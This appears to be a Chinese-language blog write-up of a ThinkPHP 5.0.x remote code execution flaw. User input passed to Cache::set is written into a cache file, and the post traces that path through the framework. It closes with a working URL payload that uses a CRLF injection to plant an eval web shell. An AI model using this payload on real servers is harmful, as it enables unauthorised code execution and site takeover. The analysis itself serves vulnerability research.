一个缓存类造成的thinkphp5.0.x-RCE

这篇文章分析一下thinkphp5.0.x调用Cache类可能存在RCE。

文件写入RCE

漏洞分析

把测试代码设置为下面

1
2
3
4
5
public function test()
{
Cache::set("name", input("get.id"));
return "over";
}

先看Cache类的set函数,在追溯一下init函数

然后康一下connect方法

这里简单的分析一下就能看出来self->init()得到的是一个think\cache\driver\File类,所以这里最后执行的是,

File->set('name', input('get.id'))这里就有点意思了,这里不就是5.0.x的反序列化pop写入最后执行文件写入的地方吗

在后面版本这里做了防护,但由于set的第一个参数是写死的,如果不是写死的话,不仅可以利用伪协议写入,而且可以设置写的目录,否则,这里的写入目录就是runtime\cache

PAYLOAD

上payload

1
public/index.php/index/Index/test/?id=ydsisodcool%0D%0A@eval($_GET[_]);//